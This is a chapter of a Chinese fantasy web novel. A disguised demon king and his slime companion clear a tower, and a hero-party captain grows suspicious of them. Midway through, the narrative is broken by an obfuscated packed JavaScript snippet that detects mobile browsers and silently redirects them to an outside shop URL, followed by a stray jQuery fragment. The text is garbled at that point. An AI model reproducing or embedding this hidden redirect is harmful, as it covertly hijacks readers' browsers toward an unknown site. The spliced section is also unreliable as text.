漫天花海骤然褪去，场景骤然变化。
仅是眨眼的一瞬间，一望无际的山野花海尽数消散，取而代之的熟悉的银白色挑战房。
只是不同于低层空荡荡的纯白房间，细碎的银色粉尘悬浮在空中，布满整片空间，泛着亮色光泽。
莱茵眼睛一亮。
他清楚这东西的价值。
它是魔导器的核心原材料。
市面流通的银铁币，仅仅掺入微量银色粉尘就能稳定流通价值，可想而知它有多稀缺昂贵。
天蓝色的史莱姆瞬间膨胀变大，圆滚滚的身躯在空旷的挑战房里来回翻滚，将悬浮的银色粉尘悉数吞入胃袋。
来来回回清扫数遍，确认房间角落和缝隙没有半点粉尘残留，整片空间干干净净，莱茵才心满意足地收回目光。
兑换渠道之类的麻烦事，之后再慢慢琢磨！
返程的路上没再出现禁咒魔法，一个普通的传送法阵将他送回见到拉斐尔的区域，他很快顺着许可证的指引，找到安全区的挑战房。
顺着回到熟悉的一层，莱茵褪去黑袍伪装，整个人化作一团同色的史莱姆，靠在契约兽身上。
低层的氛围有些嘈杂，原本井然有序的入口乱作一团。
往来的冒险者与商贩都在收拾东西，一直有人往外走。
人声嘈杂，人们步履匆匆，压抑的氛围弥漫开来。
天蓝色史莱姆混在人流的缝隙间，旁听着他人的议论。
“白塔发热了！异动竟然提前了！”
“太反常了！明明距离下一次塔热还有好几十年，怎么突然提前爆发？”
“谁知道塔里出了什么变故？！塔热异动，整个城市都会受波及，赶紧撤离避险！”
“通知下去！普通民众全部居家避险，不许外出！所有在册冒险队即刻入塔！”
议论交织在一起，满是忐忑与不安。
莱茵心底掠过一丝好奇。
塔热异动难得一见，他其实很想留在塔内，看看塔热是什么情况。
但他又知道，以诺斯的性格，集合之前一定会去家里确认他的情况。
他必须赶在诺斯发现异常前，赶回住处。
莱茵收敛心思，一路催促着史莱姆往内城赶。
沿途他也听到了人们有关他的一些交谈。
在避难的同时，大家没忘记讨论不久前的传奇人物。
莱茵作为单独刷关去往高层的黑袍神秘人，一时成为了话题的核心。
人们并不知道“莱茵”的存在，是以那些讨论，莱茵听着听着就皱起眉头。
“你们说那黑袍人会不会是拉斐尔？同样都是一身黑袍带兜帽，出行随时遮脸。新来的人里，只有刚加入勇者小队的拉斐尔有可能吧？”
“首先，拉斐尔还没有成为勇者小队的正式成员呢！其次，勇者小队的入队审核是需要一起通关的，拉斐尔参与过审核，不可能从一层开始爬。”
“也许就是审核的过程没能展现出实力呢？穿着打扮那么神秘，想要低调行事，审核的时候故意留手，让人以为无法通关。等到单人闯关才用出全部实力。”
“也有可能是为了打脸勇者小队。不是说他的申请，队伍有一半的人都不通过吗？这下在所有人面前展现实力，那些不支持的也没话说了吧？”
“不通过是因为他遮遮掩掩，太神秘了，没有实力连申请那关都过不去，好不好？”
“不管怎么说，他都还没签订契约，不算勇者小队的正式成员。”
莱茵：？
怎么现在的勇者小队，还有契约要签？
以前的勇者小队是为了追杀魔王莱茵而成立的。
当时的莱茵追着神明，用禁咒往天上开窟窿，再一个个将高高在上的神明扯到战场上来。
各地信奉神明的宗教与教会辅佐当时地区的皇权，从而成立了一个个追杀魔王的队伍。
最后七个国家的勇者集合组队擢选精锐，命名勇者小队，又称伐魔小队。
他们满腔热血，好像毕生信念都为了打倒魔王莱茵，像打不死的亡灵族，高喊着一些莱茵听不懂的信条。
好几次莱茵差点杀到神明眼前，被这群各种族精锐组建的队伍给挡了回去。
现在想想，还有些牙痒痒。
只是千年过去了，国家的说法似乎已经消失，变成了各个独立的安全区。宗教没落，他一路走来，唯一碰上的神官，还是个彻头彻尾的渎神者。
魔王也已经“消失”了。
他实在不明白为什么这支队伍还得以保留。
还从以前招笑的纯粹信仰，多了约束性质的契约。
不过他知道，自己得赶紧回去了。
莱茵加快脚步，顺利赶回内城。
抬眼就看见诺斯正快步走来，方向完全一致。
史莱姆凭借体态轻盈略胜一筹，一溜烟窜进屋内。
莱茵迅速回归本体。
等诺斯推门而入时，映入眼帘的便是一副温馨的画面。
少年安安静静蜷卧在床上，睡姿乖巧安分，整个人裹在柔软的毯子里，只露出白净的脑袋。
双眼微阖，长睫垂落，身形纤细，没有半点异常。
察觉到开门的动静，他才慢悠悠睁开眼，懵懂地揉了揉，一副刚睡醒、迷迷糊糊的模样。
史莱姆乖乖贴在他身侧，软乎乎蹭着少年的胳膊，亲昵又黏人。
诺斯的目光落在史莱姆上，语气温和：“这只魔物是哪里来的？”
“来安全区第一天的路上捡来的。”莱茵嗓音带着刚睡醒的沙哑，语气格外坦诚。
诺斯垂眸打量着黏人温顺的史莱姆，叮嘱道：“魔物往往擅长伪装，小心被外表欺骗了。”
莱茵一把将它抱入怀里：“不会的，它很乖！”
史莱姆不悦地想要表达，主人悄悄勒紧，还未发出的声音消散在空气里。
诺斯看着一人一史莱姆和睦的相处，没再继续警告，转而道：“现在白塔异动，城内不安全，你乖乖待在家里，不要出门。”
莱茵乖巧点头：“嗯，我知道了。”
年轻的队长有心叮嘱，又想到任务的紧急，留下几件防身的魔导器转身出匆匆出了门。
房门合上的瞬间，两人的神态同时转变。
莱茵翻身坐起，拍了拍史莱姆，就着小家伙吐出的粉尘，释放魔法试探。
他的目光下意识看向窗外，又很快收回，提醒自己专心眼下的研究。
另一边。
走出房门的诺斯，温和的神色彻底敛去，眉宇间覆上一层凝重。
回城的一路上，满城都在流传黑袍神秘人的传说。
孤身一人，手持法杖类魔导器，肩头趴着一只水蓝色史莱姆，单人连续通关挑战房，一路抵达了高层，实力深不可测。
而不久前，他看着一只同样颜色的史莱姆从白塔的方向往他家的方向跑。
最后落在了少年的肩头。
莱茵的确是刚刚苏醒的模样，气息平稳，说话时测谎魔导器也没有发出任何反应。
屋内外的监测魔导器更是有完整的记录，少年一直在床上睡觉，从未外出。
反而是这只看似无害的史莱姆，出了一趟门，又在这个时间节点回到少年身边。
直觉告诉他，这只史莱姆很有可能就是神秘人肩头的那一只。
现在情况紧急，他压根来不及思考措辞去提问，只能后面慢慢观察。
打算是这么打算，路过冒险者公会，诺斯还是没忍住上前查询。
“您查询的证件不存在。”
“许可证自带防盗机制，脱离持有者一段时间就会自动断联身份关联。如今莱茵名下没有识别到许可证，但他有注册记录，很大可能是遗失了证件。”
“需要溯源注销吗？”
诺斯摇了摇头：“以对方的能力，失去这张许可证还能从更多普通人身上想办法。目前，他没有做出什么影响安全区的事情，只是一张许可证，随他去吧。”
问清情况，诺斯却没有因此放心，反而更为沉重。
作为勇者小队的队长，他对内城所有进出人员都了如指掌。
近期根本没有除了莱茵之外的生面孔进入内城。
对方无疑是用了某种手段进城。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705591|207478||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又使用了莱茵的身份信息。
或许不止许可证。
天蓝色的史莱姆又钻入莱茵怀里，黑袍神秘人也许没打算放弃利用少年。
但诺斯十分清醒，那位神秘强者的实力，足以单人完成爬塔，对整个安全区、乃至整片大陆都至关重要，是必须拉拢的顶尖战力。
因此，他需要做的或许是瞒住莱茵，继续利用他身边的史莱姆，作为线索。
也就是说，他同样只能利用少年。
一路上，诺斯脸色微沉，不见平日的自若和浅笑。
今日情况紧急，抵达集合点时，内城勇者小队成员算上他，只到了四人。
诺斯、埃洛希尔、塞林迪尔，还有新晋入队的拉斐尔。
那三人神色皆透着古怪。
“白塔的提前异动，平息了。”
诺斯脚步一顿，眼底满是错愕。
过往的塔热，必然是全员集结，九死一生才能勉强压制。
有时候甚至会直接报废一个安全区，未能镇压成功塔热，会使得塔内漫出一股浓郁粘稠、杀伤力极强，所到之处可以说寸草不生的黑色粘液。
因为这个，历史上，有过报废数次安全区的记录。
塞林迪尔：“除了塔热解除，还有一座塔消失了。”
塔的消失代表着通关，同时期爬塔的人，他们很快想到了同一个传说。
埃洛伊尔：“有可能正是因为单人爬塔成功，使得塔热危机解除。以前我们不曾关联着考虑，如果塔热的爆发是塔的寿命到达极限……我们或许应该想办法尽可能攻略每一座塔。”
埃洛伊尔：“塔热解除，温度突然骤降，很多人这才发现这段时间的塔外围温度都并不寻常，其实白塔早就在预警，只是我们没有发现。”
塞林迪尔摊了摊手：“然后被神秘的黑袍人一己之力解救了世界。也不知道他是特意出手相助，还是恰巧路过，顺便通关了一座塔。”
老酒鬼在诺斯扫来的目光中收敛了神态：“不论如何，我们的确技不如人。不过，这个人也不一定是那个黑袍。”
一直沉默的拉斐尔突然坚定道：“是他。我在中转区遇到他了，按照他先前通关的时间来算，塔热结束的节点只可能是他。换作我们其他人，组队也没有办法那么快地通关。”
“你遇到过他？”
三人目光落在他身上，无声追问细节。
拉斐尔语气平淡，如实开口：“没过多交流，但能确定，对方是初次闯塔的新人，对高层规则很陌生。”
“体态特征？”诺斯适时开口，试探着询问，“身形偏瘦小？看着像未成年吗？”
拉斐尔轻轻摇头，语气笃定：“不是。对方是成年男性，体格挺拔健壮，身形和你相差无几。手持法杖类魔导器，内嵌的晶片品级极高，隔着很远，都能感受到力量流转。”
他刻意隐瞒了自己感知到的淡淡圣光，不动声色转移话题：“听你的限定词，是有什么线索？”
诺斯没有隐瞒，直言道：“那只跟着他的水蓝色史莱姆，现在在莱茵身边。”
埃洛希尔和塞林迪尔闻言立刻看向诺斯。
唯独拉斐尔面露疑惑：“莱茵？是你最近收养的那个小孩？”
“嗯。”诺斯点头应声。
拉斐尔略一思索，随口提议：“既然如此，不如把那孩子带到队里看管。有我们盯着，那只史莱姆的动向以及神秘人的踪迹，都能牢牢掌握。”
诺斯轻轻摇头，语气笃定：“莱茵不太喜欢勇者小队。”
虽然还不知道缘由，但是少年更喜欢魔王，也不知道是哪个版本的传说故事，那般超前。
他试探过一两次，少年的排斥刻入本能，几乎是听到那四个字就要皱眉的程度。
“那我可以时常去探望。”拉斐尔退而求其次，语气自然。
一旁的埃洛希尔微微挑眉，带着几分打趣的意味：“看不出来你是爱操心的性格？我还以为你最怕麻烦，从不掺和这些琐事。”
拉斐尔神色未变，不置可否。
照顾小孩，能有多麻烦？
诺斯不是一直都在捡孩子吗？